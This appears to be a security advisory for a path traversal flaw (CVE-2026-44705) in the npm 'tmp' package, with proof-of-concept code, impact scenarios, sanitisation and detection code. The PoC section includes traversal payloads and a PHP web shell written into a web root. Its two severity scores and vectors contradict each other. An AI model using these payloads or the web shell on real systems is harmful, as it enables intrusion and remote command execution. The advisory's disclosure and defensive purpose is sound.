CVE-2026-44705

CVSS v4.0

7.7

High

Vector

AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

prefix/postfix traversal: ../../../evil in prefix escapes directory structure
Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text
Cross-platform impact: Works on Windows (..), Unix (../), and mixed path systems

Key Vulnerability Points:

No input validation on prefix, postfix, or dir parameters
Direct use of user input in path construction
Reliance on path.join() normalization without containment checks
Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix:

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({ 
 tmpdir: baseDir, 
 prefix: '../escaped' 
}, (err, filepath, fd, cleanup) => {
 if (err) throw err;
 
 console.log('Created file:', filepath);
 console.log('Relative to base:', path.relative(baseDir, filepath));
 // Output shows: ../escaped-<pid>-<random>
 
 cleanup();
});

Directory Escape via postfix:

tmp.file({ 
 tmpdir: baseDir, 
 postfix: '/../../pwned.txt' 
}, (err, filepath, fd, cleanup) => {
 if (err) throw err;
 
 console.log('Escaped file:', filepath);
 console.log('Escaped outside base:', !filepath.startsWith(baseDir));
 
 cleanup();
});

Absolute Path Bypass via dir:

tmp.file({ 
 tmpdir: '/safe/tmp/dir', 
 dir: '/tmp/evil-location',
 prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
 if (err) throw err;
 
 console.log('Bypassed to:', filepath);
 // File created in /tmp/evil-location instead of /safe/tmp/dir
 
 cleanup();
});

Advanced Multi-Vector Attack:

const maliciousOpts = {
 tmpdir: '/app/safe-tmp',
 dir: '../../../tmp',      // Escape base
 prefix: '../sensitive-area/',  // Further traversal
 postfix: 'malicious.config'   // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
 // Results in file creation at: /tmp/sensitive-area/malicious.config
 console.log('Final malicious path:', filepath);
 cleanup();
});

Real-World Attack Simulation:

// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
 return new Promise((resolve, reject) => {
  tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
   if (err) return reject(err);
   
   fs.writeSync(fd, content);
   console.log('User file created at:', path);
   resolve({ path, cleanup });
  });
 });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($ GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation:

Files created outside intended temporary directories
Attacker control over file placement location
Potential to overwrite existing files (depending on creation flags)
Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

User uploads file with malicious prefix/postfix
tmp creates "temporary" file in application configuration directory
Malicious configuration loaded on next application restart

2. Cache Poisoning:

Application caches user content using tmp
Attacker escapes to cache directory of different user/tenant
Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

CI/CD system processes user PRs with tmp usage
Malicious prefix escapes to build output directories
Compromised build artifacts deployed to production

4. Container Escape Attempt:

Containerized application uses tmp with user input
Attacker attempts to escape container temp restrictions
Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

SaaS platform isolates tenants using separate tmp directories
Tenant A escapes their tmp space to tenant B's area
Cross-tenant data access and potential privilege escalation

Business Impact:

Data Integrity: Unauthorized file placement can corrupt application state
Service Disruption: Files in wrong locations may break application functionality
Security Bypass: Escape temporary isolation boundaries
Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

Ecosystem: npm
Package name: tmp
Repository: github.com/raszi/node-tmp
Affected versions: All versions with vulnerable path construction logic
Patched versions: None currently available

Component Impact:

tmp.file() function - vulnerable to prefix/postfix/dir traversal
tmp.dir() function - vulnerable to same parameter manipulation
tmp.tmpName() function - if using affected path construction

Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

Sanitize prefix/postfix:

function sanitizePrefix(prefix) {
 if (!prefix) return '';
 // Remove path separators and traversal sequences
 return path.basename(String(prefix)).replace(/[./]/g, '-');
}

function sanitizePostfix(postfix) {
 if (!postfix) return '';
 // Allow only safe characters
 return String(postfix).replace(/[^A-Za-z0-9. -]/g, '');
}

Validate dir parameter:

function validateDir(dir, baseDir) {
 if (!dir) return '';
 
 // Reject absolute paths
 if (path.isAbsolute(dir)) {
  throw new Error('Absolute paths not allowed for dir option');
 }
 
 // Resolve and check containment
 const resolved = path.resolve(baseDir, dir);
 const relative = path.relative(baseDir, resolved);
 
 if (relative.startsWith('..') || path.isAbsolute(relative)) {
  throw new Error('Dir option escapes base directory');
 }
 
 return dir;
}

Post-construction path validation:

function validateFinalPath(finalPath, baseDir) {
 const resolved = path.resolve(finalPath);
 const relative = path.relative(path.resolve(baseDir), resolved);
 
 if (relative.startsWith('..') || path.isAbsolute(relative)) {
  throw new Error('Generated path escapes temporary directory');
 }
 
 return resolved;
}

Secure Implementation Pattern:

function createTempFile(options) {
 const opts = { ...options };
 
 // Sanitize inputs
 opts.prefix = sanitizePrefix(opts.prefix);
 opts.postfix = sanitizePostfix(opts.postfix);
 opts.dir = validateDir(opts.dir, opts.tmpdir);
 
 // Create with sanitized options
 return tmp.file(opts, (err, path, fd, cleanup) => {
  if (err) return callback(err);
  
  // Validate final path
  try {
   validateFinalPath(path, opts.tmpdir);
  } catch (validationErr) {
   cleanup();
   return callback(validationErr);
  }
  
  callback(null, path, fd, cleanup);
 });
}

Workarounds

For Application Developers:

Input Sanitization:

// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
 const safeOpts = {
  ...userOptions,
  prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
  postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9. -]/g, '') : undefined,
  dir: undefined // Don't allow user-controlled dir
 };
 
 return tmp.file(safeOpts);
}

Path Validation:

function validateTmpPath(tmpPath, expectedBase) {
 const relativePath = path.relative(expectedBase, tmpPath);
 if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
  throw new Error('Temporary file path escaped base directory');
 }
 return tmpPath;
}

Restricted Usage:

// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

Code Review Patterns:

# Search for dangerous tmp usage
grep -r "tmp.file.*prefix.*req|tmp.file.*postfix.*req" .
grep -r "tmp.dir.*opts|tmp.file.*opts" .

Runtime Monitoring:

// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
 return originalFile(options, (err, path, fd, cleanup) => {
  if (!err && options.tmpdir) {
   const relative = require('path').relative(options.tmpdir, path);
   if (relative.startsWith('..')) {
    console.warn('Path traversal detected:', path);
   }
  }
  return callback(err, path, fd, cleanup);
 });
};

Detection and Monitoring

Static Analysis:

Scan for tmp usage with user-controlled input
Identify unsanitized parameter passing to tmp functions
Review file creation patterns in temporary directories

Runtime Detection:

// Log suspicious tmp operations
function monitorTmpUsage() {
 const originalTmpFile = require('tmp').file;
 
 require('tmp').file = function(options = {}, callback) {
  // Check for suspicious patterns
  const suspicious = [
   options.prefix && options.prefix.includes('..'),
   options.postfix && options.postfix.includes('..'), 
   options.dir && path.isAbsolute(options.dir)
  ].some(Boolean);
  
  if (suspicious) {
   console.warn('Suspicious tmp usage detected:', options);
  }
  
  return originalTmpFile.call(this, options, callback);
 };
}

File System Monitoring:

# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
 if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
  echo "Unexpected file creation: $file"
 fi
done

Acknowledgements

Reported by: Mapta / BugBunny ai

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-22

Related Identifiers

CVE-2026-44705

GHSA-PH9P-34F9-6G65

Affected Products

Tmp

CVE-2026-44705

Summary

Details

PoC

Impact

Affected Products

Remediation

Workarounds

Detection and Monitoring

Acknowledgements

Weakness Enumeration

Related Identifiers

Affected Products

References · 4